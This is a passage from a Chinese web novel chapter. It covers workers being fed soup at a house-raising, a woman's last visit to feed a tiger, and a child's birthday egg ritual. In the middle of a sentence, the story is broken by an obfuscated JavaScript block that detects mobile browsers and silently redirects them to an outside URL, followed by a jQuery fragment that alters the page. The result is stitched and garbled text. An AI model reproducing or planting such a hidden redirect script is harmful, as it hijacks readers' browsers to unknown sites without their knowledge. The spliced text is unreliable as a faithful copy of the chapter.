“好了,弄好了,走去领银钱。”
“快走,领钱去。”
“走走。”
公输珵禹给大家每人发了三文钱。
真正干活挖地基的人干起活来。
过了一会,外村来上工的人差不多也到了。
上午冯秀珍带着家里人,三口炉灶一起开动。
做的是野菜猪骨汤,三口大锅,满满的野菜骨头汤,里边还有红豆和高粱米,汤表面浮着一层油花。
今天来干活的是真高兴,不仅有工钱拿,居然有肉汤解渴。
外村来干活的惊讶这汤水,以往遇到好些的主家,给个热水就不错了,这家居然还给肉骨汤喝?
表面的油水一看就足的很,底下还有米和豆子?怪道能建这么大房子。
冯秀珍看着几个外村人,喝的都哕了,还往下灌,这些人的吃相真是膈应死了,她心中不喜,但想到这是儿媳起房第一天,硬压下了心里的火。
本村人倒还好,虽也喝的多,但没有把自己喝哕。
本来她们没想放粮食的,是二儿媳觉得里边东西放的少,看着这么多粮食,她心疼的不行,偏偏这些人喝不下去硬灌。
冯秀珍拿铁勺敲了敲锅,压着火气喊:“我儿媳心好,她说了,这汤之后每天都有,你们渴了就来喝,天冷是粮食骨头汤,再热一些是绿豆汤。”
王春凤在旁边帮腔:“我侄媳妇跟我们说了,热汤水会一直供着,不用争抢。”
正努力往下灌的人听到这,捂着撑到不行的肚子不再灌了。
公输珵禹回来放碗,看见他们这样,去找了他们这些外村人的各自领头人。
*
李沐奕摸摸小黄的头:“告诉它,这是最后一天喂它,从明天开始我们就不来了。”
小黄看着她小声“呜”了一下,转头对着大老虎一阵“嗷嗷嗷”。
今天白天新房动土,也是喂老虎的最后一天,半个月过去,它的伤口恢复的奇快,痂皮已经掉完,剩下一块略带红色且光秃秃的皮肉。
大老虎已经习惯了她的投喂,见她过来,趴在洞外,晃着尾巴逗两只小虎玩。
两只小老虎见她过来也不害怕,你追我赶地跑到她脚边,大老虎也不阻止。
李沐奕没有撸两只小老虎,反倒是离得远了些,不能让小老虎放低对人的警惕性。
两只小老虎见她不理,转而去找小黄玩,小黄那高冷的性子,更是不搭理它们两个。
把空间里最后的鹿肉和血,放到个两木盆子里,满满两大盆。
放完肉后两只小老虎见有食物,不等她退走,一头扎进鹿血的盆子狂饮鹿血,整张脸都是。
等她后退到常待的树下,悠闲吃肉的老虎听到小黄的吼声,猛地抬起头看向她,眼中有着不可置信,尾巴都垂落下去。
它歪了歪头,咽下嘴里的肉,似乎带着一丝委屈轻吼两声。
李沐奕看它的样子,觉得它可能在问为什么,但是不太确定,低头看向小黄,等等,如果没看错的话,小黄刚刚是一脸不屑地翻了大老虎一个白眼吧。
小黄察觉到她的视线,一脸无辜抬头,好像刚刚一脸不屑翻老虎白眼的不是他一样。
忍住笑,反正自己也听不懂他们在说什么,只要告诉大老虎不会再来这件事就行了。
大老虎见他们两个都没反应,似乎生气了,坐下用尾巴抽了一下地,抽起一片尘土。
这次实在是没忍住,她笑出声来,笑骂道:“才喂了你几天,就不想自己捕猎了?还抽尾巴抗议,你可是野生大猫,还是自己捕猎去吧,再不去捕猎,你的原始袋都要拖地了。”
半个月的好吃好喝,还不用动弹,让这只大猫胖了一圈,两只小老虎也圆润了许多。
大老虎歪着头,似乎在想她说的什么,接着居然叹了口气,低头继续吃肉。
看它叹了口气,李沐奕更觉好笑,转身回头再看一眼三只老虎,看着小黄说:“我们走吧。”
这半个月把大老虎治好,自己赚了一对鹿角、一张鹿皮,还有沿路打的野兔野鸡二十多只。
到今天为止,小黑他们的捕猎成果很喜人,就算他们四个被约束着,到建房前一天,家里也存了七十多只猎物。
开始建房后,就不能再让他们四个在矮山抓了,可不能给抓绝了。
还特意叮嘱了小黑他们,不让他们四个到新房那边去,那里之后会有外村人在,她不想让他们四个的名声传出去。
在这个权贵就是天的古代,有权有势、有钱的人家,想要念念他们几个,对自己来说非常麻烦。
也特意叮嘱过村里人,不要把她家的情况往外说。
二月初六,是王平安生辰,李沐奕起床别的没干,先把火点起来,煮上20个鸡蛋。
鸡蛋是在隔壁村特意买的,等新房建起来,可以养些鸡、鸭、鹅。
过生日吃鸡蛋的习惯在前世也不多了,不过她家依然有。
自己过生日,妈妈一大早会给煮6个鸡蛋,从床尾滚到床头,再从床头滚到床尾,寓意新的一岁顺顺利利、无病无灾。
到这个世界这么久,尽量避免去想前世的人,她不在意自己的生死,在意的是家人是否安好。
自己的尸体在宇宙里化成了尘埃,什么都没留下,自己没见到他们最后一面,他们也没有见到自己最后一面。
也不知他们知道后该有多难过,再也没有相见的机会了,只盼他们健康到老。
柴火添够了,李沐奕起身,脸色沉静如水,从接了征召那一刻就已经做好随时身死的准备,如今多想无益,一切都过去了。
把早晨吃的粥煮上,舀上一点面,活一个光滑的面团,一点点擀成面条。
面条做好,撒上干面粉防止粘连,面无表情走到外面练功。
她练功的时候,孩子们陆续起床。
第一套刀法他们已经练的很熟,今天开始教他们第二套刀法。
每个孩子都学的认真,小黑他们趴在房檐下,无聊地看着他们。
念念拿着笋,跟着比划了两下,觉得没意思,把笋塞进嘴里咔嚓咔嚓吃的香。
“行,今天练到这。”
大家各自洗漱。
“正好恒煦你们三个洗完了,走,咱们去你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115535|191002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哥哥、弟弟屋里。”
李沐奕一手拿着装鸡蛋的陶盆,另一手揽住李恒煦,往李恒昭他们屋子走。
几个已经出门的男孩儿,来不及想她们为什么去他们屋子,转身跑回去,一边跑一边说:“娘,你们等会再进来啊。”
随后就是一阵兵荒马乱,叮叮咣咣的声音传来。
李沐奕等在门口摇头,不管看起来多干净利索的男孩子,屋子里都乱的跟狗窝一样吧,她不会随意进他们屋子,一般都是在门外叫他们。
几分钟过后,李恒昭不好意思挠着头出来,有些扭捏地说:“娘,妹妹们,你们进来吧。”
进屋后,屋里有一股隐隐的汗味和脚臭味,其实家里这几个小子已经很干净了,不过他们爱出汗,有味道也没办法。
“娘,你端的是鸡蛋?”李恒耀好奇的问。
李沐奕上炕把堆在炕脚的被子放到一边,清出一米宽的地:“对,猜猜今天是什么日子?”
“是有人生辰?”李恒晟的语气充满了不确定。
他们没有人过生辰,只是在乞讨的时候听说过,过生辰会吃鸡蛋。
她从炕上下来,揪了揪王平安的脸,温柔地说:“对,今天是平安生辰。”
王平安指着自己,不太明白生辰的含义:“我?生辰?”
“就是6年前这一天你出生了,每年都要过的生辰,去年我们在家也过了,你忘了?”她把陶盆放在炕上,蹲下和王平安平视。
王平安挠头,不好意思说:“娘,我好像记不清,咱们逃荒以前的事我没什么印象,以后的事我记得很清楚。”
“没事,小时候的事就是会记不清。”李沐奕轻捏他脸。
看着李恒昭他们羡慕的眼神,她起身一边滚鸡蛋一边说,说:“我去年问过你们,你们都不知道自己生辰,不用羡慕,一会我去拿皇历,你们自己一人选一个看着喜欢的日子。”
“疾病灾祸都滚走,留下平平安安,烦恼忧愁都滚走,只要开开心心。”
挑了一颗最大的蛋,递给王平安:“今天寿星先吃。”
王平安高兴接过,拿在手里仔仔细细剥皮。
李沐奕笑笑,把陶盆往前递:“都吃。”
给小黑它们四个剥好鸡蛋,自己也拿了一个蛋吃了。
厅房里,几个孩子对着皇历嘀嘀咕咕。
这时候的皇历,就是后世的黄历,不过要简陋的多。
这版皇历是旧历,据王晨玉说,皇帝让朝臣按照西方来的历法,在修订新的历法,她对历法这方面几乎没有了解,也不知新历法何时会颁布。
李沐奕大脑放空,并没有去听他们说什么。
过了一刻钟左右,几个人商量完了。
“你们挑好了?挑了哪几个日子?”她接过皇历问。
李恒昭回:“干爹捡我是秋天,他说那时我已三四岁,能开口说话,我选九月初一。”
“好,我记下了。”
接着看向李恒晟。
李恒晟坚定地说:“捡我亦是秋天,他说我个子比大哥矮,就是弟弟,我喜欢九月二十。”
“好。”